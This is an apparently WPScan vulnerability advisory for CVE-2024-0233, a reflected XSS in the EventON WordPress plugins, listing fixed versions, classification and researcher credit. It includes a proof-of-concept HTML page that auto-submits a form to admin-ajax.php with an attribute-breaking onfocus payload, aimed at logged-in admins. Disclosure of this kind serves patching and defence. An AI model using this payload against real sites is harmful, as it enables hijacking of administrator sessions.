EventON (Free < 2.2.8, Premium < 4.5.5) – Reflected XSS | CVE 2024-0233 | Plugin Vulnerabilities

Description

The plugins do not properly sanitise and escape a parameter before outputting it back in pages, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="eventon_select_virtual_moderator" />
      <input type="hidden" name="eid" value="'autofocus onfocus=alert`XSS` a=b" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 4.5.5

Fixed in 2.2.8

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Submitter

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

04a708a0-b6f3-47d1-aac9-0bb17f57c61e

Timeline

Publicly Published

2024-01-10 (about 1 year ago)

Added

2024-01-10 (about 1 year ago)

Last Updated

2024-01-10 (about 1 year ago)

Other

Published

Title

Published

2025-01-16

Title

WpF Ultimate Carousel <= 1.0.11 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-09-25

Title

ElementsReady Addons for Elementor < 6.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2022-04-07

Title

Visual Form Builder < 3.0.7 - Admin+ Stored Cross-Site Scripting

Published

2023-06-02

Title

Page Builder by AZEXO <= 1.27.133 - Contributor+ Stored Cross-Site Scripting via shortcode

Published

2023-01-18

Title

Youtube Channel Gallery <= 2.4 - Contributor+ Stored XSS via Shortcode